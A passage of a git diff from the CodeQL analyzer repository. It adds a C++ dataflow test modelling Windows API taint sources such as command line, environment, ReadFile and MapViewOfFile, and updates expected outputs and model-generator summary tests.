unsigned char *,unsigned int)" in summary model. | +| Dubious signature "(unsigned char *,BLAKE2B_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,BLAKE2S_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,MD4_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,MD5_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,MD5_SHA1_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,MDC2_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,RIPEMD160_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,SHA256_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,SHA512_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,SHA_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,SM3_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,WHIRLPOOL_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,const BIGNUM *,DH *)" in summary model. | +| Dubious signature "(unsigned char *,const char *)" in summary model. | +| Dubious signature "(unsigned char *,const unsigned char *,int)" in summary model. | +| Dubious signature "(unsigned char *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(unsigned char *,int)" in summary model. | +| Dubious signature "(unsigned char *,int,const char *,int)" in summary model. | +| Dubious signature "(unsigned char *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)" in summary model. | +| Dubious signature "(unsigned char *,int,const unsigned char *,int,int)" in summary model. | +| Dubious signature "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)" in summary model. | +| Dubious signature "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *)" in summary model. | +| Dubious signature "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,int,unsigned long)" in summary model. | +| Dubious signature "(unsigned char *,long,const unsigned char *,long,const EVP_MD *)" in summary model. | +| Dubious signature "(unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(unsigned char *,size_t *,size_t)" in summary model. | +| Dubious signature "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)" in summary model. | +| Dubious signature "(unsigned char *,uint64_t,int)" in summary model. | +| Dubious signature "(unsigned char *,void *)" in summary model. | | Dubious signature "(unsigned char)" in summary model. | +| Dubious signature "(unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *)" in summary model. | +| Dubious signature "(unsigned char[56],const curve448_scalar_t)" in summary model. | +| Dubious signature "(unsigned int *,const BF_KEY *)" in summary model. | +| Dubious signature "(unsigned int *,const CAST_KEY *)" in summary model. | +| Dubious signature "(unsigned int)" in summary model. | +| Dubious signature "(unsigned int,int,int)" in summary model. | +| Dubious signature "(unsigned int[5],const unsigned char[64])" in summary model. | +| Dubious signature "(unsigned long *,IDEA_KEY_SCHEDULE *)" in summary model. | +| Dubious signature "(unsigned long *,RC2_KEY *)" in summary model. | +| Dubious signature "(unsigned long *,const BIGNUM *,int)" in summary model. | +| Dubious signature "(unsigned long *,const char *)" in summary model. | +| Dubious signature "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)" in summary model. | +| Dubious signature "(unsigned long *,const unsigned long *,const unsigned long *,int,int)" in summary model. | +| Dubious signature "(unsigned long *,const unsigned long *,int)" in summary model. | +| Dubious signature "(unsigned long *,const unsigned long *,int,unsigned long *)" in summary model. | +| Dubious signature "(unsigned long *,const unsigned long *,int,unsigned long)" in summary model. | +| Dubious signature "(unsigned long *,unsigned long *,int,unsigned long *,int)" in summary model. | +| Dubious signature "(unsigned long *,unsigned long *,unsigned long *,int)" in summary model. | +| Dubious signature "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)" in summary model. | +| Dubious signature "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)" in summary model. | +| Dubious signature "(unsigned long)" in summary model. | +| Dubious signature "(unsigned long,BIGNUM *,BIGNUM *,int)" in summary model. | +| Dubious signature "(unsigned long,char *)" in summary model. | +| Dubious signature "(unsigned long[8],const unsigned long[8],const unsigned long[8],const unsigned long[8],unsigned long,const unsigned long[8])" in summary model. | +| Dubious signature "(unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],unsigned long)" in summary model. | +| Dubious signature "(unsigned short,int)" in summary model. | | Dubious signature "(vector &&)" in summary model. | | Dubious signature "(vector &&,const Allocator &)" in summary model. | +| Dubious signature "(void *)" in summary model. | +| Dubious signature "(void *,CRYPTO_THREAD_RETVAL *)" in summary model. | +| Dubious signature "(void *,OSSL_PARAM[])" in summary model. | +| Dubious signature "(void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *)" in summary model. | +| Dubious signature "(void *,block128_f)" in summary model. | +| Dubious signature "(void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **)" in summary model. | +| Dubious signature "(void *,const ASN1_ITEM *,int,int)" in summary model. | +| Dubious signature "(void *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(void *,const char *,int)" in summary model. | +| Dubious signature "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)" in summary model. | +| Dubious signature "(void *,int)" in summary model. | +| Dubious signature "(void *,int,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)" in summary model. | +| Dubious signature "(void *,size_t)" in summary model. | +| Dubious signature "(void *,size_t,const EC_POINT *,const EC_KEY *,..(*)(..))" in summary model. | +| Dubious signature "(void *,size_t,const char *,int)" in summary model. | +| Dubious signature "(void *,size_t,size_t,const char *,int)" in summary model. | +| Dubious signature "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)" in summary model. | +| Dubious signature "(void *,sqlite3 *,int,const char *)" in summary model. | +| Dubious signature "(void *,sqlite3_uint64)" in summary model. | +| Dubious signature "(void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(void *,unsigned char *,size_t *,size_t)" in summary model. | +| Dubious signature "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(void *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(void *,void *,block128_f,block128_f,ocb128_f)" in summary model. | +| Dubious signature "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])" in summary model. | | Dubious signature "(wchar_t *)" in summary model. | | Dubious signature "(wchar_t, const CStringT &)" in summary model. | | Dubious signature "(wchar_t,const CStringT &)" in summary model. | +| Unrecognized input specification "Field[****hEvent]" in summary model. | +| Unrecognized input specification "Field[***hEvent]" in summary model. | +| Unrecognized output specification "Field[****hEvent]" in summary model. | +| Unrecognized output specification "Field[***hEvent]" in summary model. | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp b/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp new file mode 100644 index 000000000000..b97ac8331026 --- /dev/null +++ b/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp @@ -0,0 +1,337 @@ +void sink(char); +void sink(char*); +void sink(char**); + +using HANDLE = void*; +using DWORD = unsigned long; +using LPCH = char*; +using LPSTR = char*; +using LPCSTR = const char*; +using LPVOID = void*; +using LPDWORD = unsigned long*; +using PVOID = void*; +using ULONG_PTR = unsigned long*; +using SIZE_T = decltype(sizeof(0)); + +LPSTR GetCommandLineA(); +LPSTR* CommandLineToArgvA(LPSTR, int*); +LPCH GetEnvironmentStringsA(); +DWORD GetEnvironmentVariableA(LPCSTR, LPSTR, DWORD); + +void getCommandLine() { + char* cmd = GetCommandLineA(); + sink(cmd); + sink(*cmd); // $ ir + + int argc; + char** argv = CommandLineToArgvA(cmd, &argc); + sink(argv); + sink(argv[1]); + sink(*argv[1]); // $ ir +} + +void getEnvironment() { + char* env = GetEnvironmentStringsA(); + sink(env); + sink(*env); // $ ir + + char buf[1024]; + GetEnvironmentVariableA("FOO", buf, sizeof(buf)); + sink(buf); + sink(*buf); // $ ir +} + +typedef struct _OVERLAPPED { + ULONG_PTR Internal; + ULONG_PTR InternalHigh; + union { + struct { + DWORD Offset; + DWORD OffsetHigh; + } DUMMYSTRUCTNAME; + PVOID Pointer; + } DUMMYUNIONNAME; + HANDLE hEvent; +} OVERLAPPED, *LPOVERLAPPED; + +using BOOL = int; +#define FILE_MAP_READ 0x0004 + +using ULONG64 = unsigned long long; +using ULONG = unsigned long; + +using DWORD64 = unsigned long long; +#define MEM_EXTENDED_PARAMETER_TYPE_BITS 8 + +typedef struct MEM_EXTENDED_PARAMETER { + struct { + DWORD64 Type : MEM_EXTENDED_PARAMETER_TYPE_BITS; + DWORD64 Reserved : 64 - MEM_EXTENDED_PARAMETER_TYPE_BITS; + } DUMMYSTRUCTNAME; + union { + DWORD64 ULong64; + PVOID Pointer; + SIZE_T Size; + HANDLE Handle; + DWORD ULong; + } DUMMYUNIONNAME; +} MEM_EXTENDED_PARAMETER, *PMEM_EXTENDED_PARAMETER; + +BOOL ReadFile( + HANDLE hFile, + LPVOID lpBuffer, + DWORD nNumberOfBytesToRead, + LPDWORD lpNumberOfBytesRead, + LPOVERLAPPED lpOverlapped +); + +using LPOVERLAPPED_COMPLETION_ROUTINE = void (*)(DWORD, DWORD, LPOVERLAPPED); + +BOOL ReadFileEx( + HANDLE hFile, + LPVOID lpBuffer, + DWORD nNumberOfBytesToRead, + LPOVERLAPPED lpOverlapped, + LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine +); + +using NTSTATUS = long; +using PIO_APC_ROUTINE = void (*)(struct _DEVICE_OBJECT*, struct _IRP*, PVOID); +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + } DUMMYUNIONNAME; + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; +using LONGLONG = long long; +using LONG = long; +typedef struct _LARGE_INTEGER { + union { + struct { + ULONG LowPart; + LONG HighPart; + } DUMMYSTRUCTNAME; + LONGLONG QuadPart; + } DUMMYUNIONNAME; +} LARGE_INTEGER, *PLARGE_INTEGER; + +using PULONG = unsigned long*; + +NTSTATUS NtReadFile( + HANDLE FileHandle, + HANDLE Event, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID Buffer, + ULONG Length, + PLARGE_INTEGER ByteOffset, + PULONG Key +); + + +void FileIOCompletionRoutine( + DWORD dwErrorCode, + DWORD dwNumberOfBytesTransfered, + LPOVERLAPPED lpOverlapped +) { + char* buffer = reinterpret_cast(lpOverlapped->hEvent); + sink(buffer); + sink(*buffer); // $ MISSING: ir +} + +void FileIOCompletionRoutine2( + DWORD dwErrorCode, + DWORD dwNumberOfBytesTransfered, + LPOVERLAPPED lpOverlapped +) { + char* buffer = reinterpret_cast(lpOverlapped->hEvent); + sink(buffer); + sink(*buffer); // $ ir +} + +void FileIOCompletionRoutine3( + DWORD dwErrorCode, + DWORD dwNumberOfBytesTransfered, + LPOVERLAPPED lpOverlapped +) { + char c = reinterpret_cast(lpOverlapped->hEvent); + sink(c); // $ ir +} + +void readFile(HANDLE hFile) { + { + char buffer[1024]; + DWORD bytesRead; + OVERLAPPED overlapped; + BOOL result = ReadFile(hFile, buffer, sizeof(buffer), &bytesRead, &overlapped); + sink(buffer); + sink(*buffer); // $ ir + } + + { + char buffer[1024]; + OVERLAPPED overlapped; + overlapped.hEvent = reinterpret_cast(buffer); + ReadFileEx(hFile, buffer, sizeof(buffer) - 1, &overlapped, FileIOCompletionRoutine); + sink(buffer); + sink(*buffer); // $ ir + + char* p = reinterpret_cast(overlapped.hEvent); + sink(p); + sink(*p); // $ MISSING: ir + } + + { + char buffer[1024]; + OVERLAPPED overlapped; + ReadFile(hFile, buffer, sizeof(buffer), nullptr, nullptr); + overlapped.hEvent = reinterpret_cast(buffer); + char buffer2[1024]; + ReadFileEx(hFile, buffer2, sizeof(buffer2) - 1, &overlapped, FileIOCompletionRoutine2); + } + + { + char buffer[1024]; + OVERLAPPED overlapped; + ReadFile(hFile, buffer, sizeof(buffer), nullptr, nullptr); + overlapped.hEvent = reinterpret_cast(*buffer); + char buffer2[1024]; + ReadFileEx(hFile, buffer2, sizeof(buffer2) - 1, &overlapped, FileIOCompletionRoutine3); + } + + { + char buffer[1024]; + IO_STATUS_BLOCK ioStatusBlock; + LARGE_INTEGER byteOffset; + ULONG key; + NTSTATUS status = NtReadFile(hFile, nullptr, nullptr, nullptr, &ioStatusBlock, buffer, sizeof(buffer), &byteOffset, &key); + sink(buffer); + sink(*buffer); // $ ir + } +} + +LPVOID MapViewOfFile( + HANDLE hFileMappingObject, + DWORD dwDesiredAccess, + DWORD dwFileOffsetHigh, + DWORD dwFileOffsetLow, + SIZE_T dwNumberOfBytesToMap +); + +PVOID MapViewOfFile2( + HANDLE FileMappingHandle, + HANDLE ProcessHandle, + ULONG64 Offset, + PVOID BaseAddress, + SIZE_T ViewSize, + ULONG AllocationType, + ULONG PageProtection +); + +PVOID MapViewOfFile3( + HANDLE FileMapping, + HANDLE Process, + PVOID BaseAddress, + ULONG64 Offset, + SIZE_T ViewSize, + ULONG AllocationType, + ULONG PageProtection, + MEM_EXTENDED_PARAMETER *ExtendedParameters, + ULONG ParameterCount +); + +PVOID MapViewOfFile3FromApp( + HANDLE FileMapping, + HANDLE Process, + PVOID BaseAddress, + ULONG64 Offset, + SIZE_T ViewSize, + ULONG AllocationType, + ULONG PageProtection, + MEM_EXTENDED_PARAMETER *ExtendedParameters, + ULONG ParameterCount +); + +LPVOID MapViewOfFileEx( + HANDLE hFileMappingObject, + DWORD dwDesiredAccess, + DWORD dwFileOffsetHigh, + DWORD dwFileOffsetLow, + SIZE_T dwNumberOfBytesToMap, + LPVOID lpBaseAddress +); + +PVOID MapViewOfFileFromApp( + HANDLE hFileMappingObject, + ULONG DesiredAccess, + ULONG64 FileOffset, + SIZE_T NumberOfBytesToMap +); + +PVOID MapViewOfFileNuma2( + HANDLE FileMappingHandle, + HANDLE ProcessHandle, + ULONG64 Offset, + PVOID BaseAddress, + SIZE_T ViewSize, + ULONG AllocationType, + ULONG PageProtection, + ULONG PreferredNode +); + +void mapViewOfFile(HANDLE hMapFile) { + { + LPVOID pMapView = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, 0); + char* buffer = reinterpret_cast(pMapView); + sink(buffer); + sink(*buffer); // $ ir + } + + { + LPVOID pMapView = MapViewOfFile2(hMapFile, nullptr, 0, nullptr, 0, 0, 0); + char* buffer = reinterpret_cast(pMapView); + sink(buffer); + sink(*buffer); // $ ir + } + + { + MEM_EXTENDED_PARAMETER extendedParams; + + LPVOID pMapView = MapViewOfFile3(hMapFile, nullptr, 0, 0, 0, 0, 0, &extendedParams, 1); + char* buffer = reinterpret_cast(pMapView); + sink(buffer); + sink(*buffer); // $ ir + } + + { + MEM_EXTENDED_PARAMETER extendedParams; + + LPVOID pMapView = MapViewOfFile3FromApp(hMapFile, nullptr, 0, 0, 0, 0, 0, &extendedParams, 1); + char* buffer = reinterpret_cast(pMapView); + sink(buffer); + sink(*buffer); // $ ir + } + + { + LPVOID pMapView = MapViewOfFileEx(hMapFile, FILE_MAP_READ, 0, 0, 0, nullptr); + char* buffer = reinterpret_cast(pMapView); + sink(buffer); + sink(*buffer); // $ ir + } + + { + LPVOID pMapView = MapViewOfFileFromApp(hMapFile, FILE_MAP_READ, 0, 0); + char* buffer = reinterpret_cast(pMapView); + sink(buffer); + sink(*buffer); // $ ir + } + + { + LPVOID pMapView = MapViewOfFileNuma2(hMapFile, nullptr, 0, nullptr, 0, 0, 0, 0); + char* buffer = reinterpret_cast(pMapView); + sink(buffer); + sink(*buffer); // $ ir + } +} diff --git a/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected b/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected index 43725bb4524e..6852a5dd3cd4 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected @@ -863,12 +863,12 @@ edges | struct_init.c:24:10:24:12 | absink output argument [a] | struct_init.c:28:5:28:7 | *& ... [a] | provenance | | | struct_init.c:26:16:26:20 | *definition of outer [nestedAB, a] | struct_init.c:31:8:31:12 | *outer [nestedAB, a] | provenance | | | struct_init.c:26:16:26:20 | *definition of outer [nestedAB, a] | struct_init.c:36:11:36:15 | *outer [nestedAB, a] | provenance | | -| struct_init.c:26:16:26:20 | *definition of outer [post update] [*pointerAB, a] | struct_init.c:33:8:33:12 | *outer [*pointerAB, a] | provenance | | | struct_init.c:26:16:26:20 | *definition of outer [post update] [nestedAB, a] | struct_init.c:26:16:26:20 | *definition of outer [nestedAB, a] | provenance | | +| struct_init.c:26:16:26:20 | {...} [*pointerAB, a] | struct_init.c:33:8:33:12 | *outer [*pointerAB, a] | provenance | | | struct_init.c:26:23:29:3 | *{...} [post update] [a] | struct_init.c:26:16:26:20 | *definition of outer [post update] [nestedAB, a] | provenance | | | struct_init.c:27:7:27:16 | call to user_input | struct_init.c:26:23:29:3 | *{...} [post update] [a] | provenance | | | struct_init.c:27:7:27:16 | call to user_input | struct_init.c:27:7:27:16 | call to user_input | provenance | | -| struct_init.c:28:5:28:7 | *& ... [a] | struct_init.c:26:16:26:20 | *definition of outer [post update] [*pointerAB, a] | provenance | | +| struct_init.c:28:5:28:7 | *& ... [a] | struct_init.c:26:16:26:20 | {...} [*pointerAB, a] | provenance | | | struct_init.c:31:8:31:12 | *outer [nestedAB, a] | struct_init.c:31:14:31:21 | *nestedAB [a] | provenance | | | struct_init.c:31:14:31:21 | *nestedAB [a] | struct_init.c:31:23:31:23 | a | provenance | | | struct_init.c:33:8:33:12 | *outer [*pointerAB, a] | struct_init.c:33:14:33:22 | *pointerAB [a] | provenance | | @@ -879,8 +879,8 @@ edges | struct_init.c:40:13:40:14 | *definition of ab [post update] [a] | struct_init.c:40:13:40:14 | *definition of ab [a] | provenance | | | struct_init.c:40:20:40:29 | call to user_input | struct_init.c:40:13:40:14 | *definition of ab [post update] [a] | provenance | | | struct_init.c:40:20:40:29 | call to user_input | struct_init.c:40:20:40:29 | call to user_input | provenance | | -| struct_init.c:41:16:41:20 | *definition of outer [post update] [*pointerAB, a] | struct_init.c:46:10:46:14 | *outer [*pointerAB, a] | provenance | | -| struct_init.c:43:5:43:7 | *& ... [a] | struct_init.c:41:16:41:20 | *definition of outer [post update] [*pointerAB, a] | provenance | | +| struct_init.c:41:16:41:20 | {...} [*pointerAB, a] | struct_init.c:46:10:46:14 | *outer [*pointerAB, a] | provenance | | +| struct_init.c:43:5:43:7 | *& ... [a] | struct_init.c:41:16:41:20 | {...} [*pointerAB, a] | provenance | | | struct_init.c:46:10:46:14 | *outer [*pointerAB, a] | struct_init.c:46:16:46:24 | *pointerAB [a] | provenance | | | struct_init.c:46:16:46:24 | *pointerAB [a] | struct_init.c:14:24:14:25 | *ab [a] | provenance | | nodes @@ -1773,8 +1773,8 @@ nodes | struct_init.c:24:10:24:12 | *& ... [a] | semmle.label | *& ... [a] | | struct_init.c:24:10:24:12 | absink output argument [a] | semmle.label | absink output argument [a] | | struct_init.c:26:16:26:20 | *definition of outer [nestedAB, a] | semmle.label | *definition of outer [nestedAB, a] | -| struct_init.c:26:16:26:20 | *definition of outer [post update] [*pointerAB, a] | semmle.label | *definition of outer [post update] [*pointerAB, a] | | struct_init.c:26:16:26:20 | *definition of outer [post update] [nestedAB, a] | semmle.label | *definition of outer [post update] [nestedAB, a] | +| struct_init.c:26:16:26:20 | {...} [*pointerAB, a] | semmle.label | {...} [*pointerAB, a] | | struct_init.c:26:23:29:3 | *{...} [post update] [a] | semmle.label | *{...} [post update] [a] | | struct_init.c:27:7:27:16 | call to user_input | semmle.label | call to user_input | | struct_init.c:27:7:27:16 | call to user_input | semmle.label | call to user_input | @@ -1791,7 +1791,7 @@ nodes | struct_init.c:40:13:40:14 | *definition of ab [post update] [a] | semmle.label | *definition of ab [post update] [a] | | struct_init.c:40:20:40:29 | call to user_input | semmle.label | call to user_input | | struct_init.c:40:20:40:29 | call to user_input | semmle.label | call to user_input | -| struct_init.c:41:16:41:20 | *definition of outer [post update] [*pointerAB, a] | semmle.label | *definition of outer [post update] [*pointerAB, a] | +| struct_init.c:41:16:41:20 | {...} [*pointerAB, a] | semmle.label | {...} [*pointerAB, a] | | struct_init.c:43:5:43:7 | *& ... [a] | semmle.label | *& ... [a] | | struct_init.c:46:10:46:14 | *outer [*pointerAB, a] | semmle.label | *outer [*pointerAB, a] | | struct_init.c:46:16:46:24 | *pointerAB [a] | semmle.label | *pointerAB [a] | diff --git a/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureContentSummaryModels.ql b/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureContentSummaryModels.ql index 8196f6329cc9..37990554258b 100644 --- a/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureContentSummaryModels.ql +++ b/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureContentSummaryModels.ql @@ -4,7 +4,9 @@ import SummaryModels import InlineModelsAsDataTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(MadRelevantFunction c) { result = ContentSensitive::captureFlow(c, _) } + string getCapturedModel(MadRelevantFunction c) { + result = ContentSensitive::captureFlow(c, _, _, _, _) + } string getKind() { result = "contentbased-summary" } } diff --git a/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql b/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql index fc05c4fe434f..ec9cb3400df5 100644 --- a/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql +++ b/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql @@ -4,7 +4,7 @@ import SummaryModels import InlineModelsAsDataTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(MadRelevantFunction c) { result = Heuristic::captureFlow(c) } + string getCapturedModel(MadRelevantFunction c) { result = Heuristic::captureFlow(c, _) } string getKind() { result = "heuristic-summary" } } diff --git a/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/summaries.cpp b/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/summaries.cpp index 74869a69994e..d4f96f67ff35 100644 --- a/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/summaries.cpp +++ b/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/summaries.cpp @@ -10,32 +10,32 @@ namespace Models { //No model as destructors are excluded from model generation. ~BasicFlow() = default; - //heuristic-summary=Models;BasicFlow;true;returnThis;(int *);;Argument[-1];ReturnValue[*];taint;df-generated + //heuristic-summary=Models;BasicFlow;true;returnThis;(int *);;Argument[-1];ReturnValue[*];value;df-generated //contentbased-summary=Models;BasicFlow;true;returnThis;(int *);;Argument[-1];ReturnValue[*];value;dfc-generated BasicFlow* returnThis(int* input) { return this; } - //heuristic-summary=Models;BasicFlow;true;returnParam0;(int *,int *);;Argument[0];ReturnValue;taint;df-generated - //heuristic-summary=Models;BasicFlow;true;returnParam0;(int *,int *);;Argument[*0];ReturnValue[*];taint;df-generated + //heuristic-summary=Models;BasicFlow;true;returnParam0;(int *,int *);;Argument[0];ReturnValue;value;df-generated + //heuristic-summary=Models;BasicFlow;true;returnParam0;(int *,int *);;Argument[*0];ReturnValue[*];value;df-generated //contentbased-summary=Models;BasicFlow;true;returnParam0;(int *,int *);;Argument[0];ReturnValue;value;dfc-generated //contentbased-summary=Models;BasicFlow;true;returnParam0;(int *,int *);;Argument[*0];ReturnValue[*];value;dfc-generated int* returnParam0(int* input0, int* input1) { return input0; } - //heuristic-summary=Models;BasicFlow;true;returnParam1;(int *,int *);;Argument[1];ReturnValue;taint;df-generated - //heuristic-summary=Models;BasicFlow;true;returnParam1;(int *,int *);;Argument[*1];ReturnValue[*];taint;df-generated + //heuristic-summary=Models;BasicFlow;true;returnParam1;(int *,int *);;Argument[1];ReturnValue;value;df-generated + //heuristic-summary=Models;BasicFlow;true;returnParam1;(int *,int *);;Argument[*1];ReturnValue[*];value;df-generated //contentbased-summary=Models;BasicFlow;true;returnParam1;(int *,int *);;Argument[1];ReturnValue;value;dfc-generated //contentbased-summary=Models;BasicFlow;true;returnParam1;(int *,int *);;Argument[*1];ReturnValue[*];value;dfc-generated int* returnParam1(int* input0, int* input1) { return input1; } - //heuristic-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[1];ReturnValue;taint;df-generated - //heuristic-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[*1];ReturnValue[*];taint;df-generated - //heuristic-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[2];ReturnValue;taint;df-generated - //heuristic-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[*2];ReturnValue[*];taint;df-generated + //heuristic-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[1];ReturnValue;value;df-generated + //heuristic-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[*1];ReturnValue[*];value;df-generated + //heuristic-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[2];ReturnValue;value;df-generated + //heuristic-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[*2];ReturnValue[*];value;df-generated //contentbased-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[1];ReturnValue;value;dfc-generated //contentbased-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[*1];ReturnValue[*];value;dfc-generated //contentbased-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[2];ReturnValue;value;dfc-generated @@ -46,9 +46,9 @@ namespace Models { //heuristic-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[0];Argument[*1];taint;df-generated //heuristic-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[0];ReturnValue[*];taint;df-generated - //heuristic-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[*0];ReturnValue[*];taint;df-generated - //heuristic-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[1];ReturnValue;taint;df-generated - //heuristic-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[*0];Argument[*1];taint;df-generated + //heuristic-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[*0];ReturnValue[*];value;df-generated + //heuristic-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[1];ReturnValue;value;df-generated + //heuristic-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[*0];Argument[*1];value;df-generated //contentbased-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[0];Argument[*1];taint;dfc-generated //contentbased-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[0];ReturnValue[*];taint;dfc-generated //contentbased-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[*0];ReturnValue[*];value;dfc-generated @@ -79,14 +79,14 @@ namespace Models { struct TemplatedFlow { T tainted; - //heuristic-summary=Models;TemplatedFlow;true;template_returnThis;(T);;Argument[-1];ReturnValue[*];taint;df-generated + //heuristic-summary=Models;TemplatedFlow;true;template_returnThis;(T);;Argument[-1];ReturnValue[*];value;df-generated //contentbased-summary=Models;TemplatedFlow;true;template_returnThis;(T);;Argument[-1];ReturnValue[*];value;dfc-generated TemplatedFlow* template_returnThis(T input) { return this; } - //heuristic-summary=Models;TemplatedFlow;true;template_returnParam0;(T *,T *);;Argument[0];ReturnValue;taint;df-generated - //heuristic-summary=Models;TemplatedFlow;true;template_returnParam0;(T *,T *);;Argument[*0];ReturnValue[*];taint;df-generated + //heuristic-summary=Models;TemplatedFlow;true;template_returnParam0;(T *,T *);;Argument[0];ReturnValue;value;df-generated + //heuristic-summary=Models;TemplatedFlow;true;template_returnParam0;(T *,T *);;Argument[*0];ReturnValue[*];value;df-generated //contentbased-summary=Models;TemplatedFlow;true;template_returnParam0;(T *,T *);;Argument[0];ReturnValue;value;dfc-generated //contentbased-summary=Models;TemplatedFlow;true;template_returnParam0;(T *,T *);;Argument[*0];ReturnValue[*];value;dfc-generated T* template_returnParam0(T* input0, T* input1) { @@ -105,8 +105,8 @@ namespace Models { return tainted; } - //heuristic-summary=Models;TemplatedFlow;true;templated_function;(U *,T *);;Argument[0];ReturnValue;taint;df-generated - //heuristic-summary=Models;TemplatedFlow;true;templated_function;(U *,T *);;Argument[*0];ReturnValue[*];taint;df-generated + //heuristic-summary=Models;TemplatedFlow;true;templated_function;(U *,T 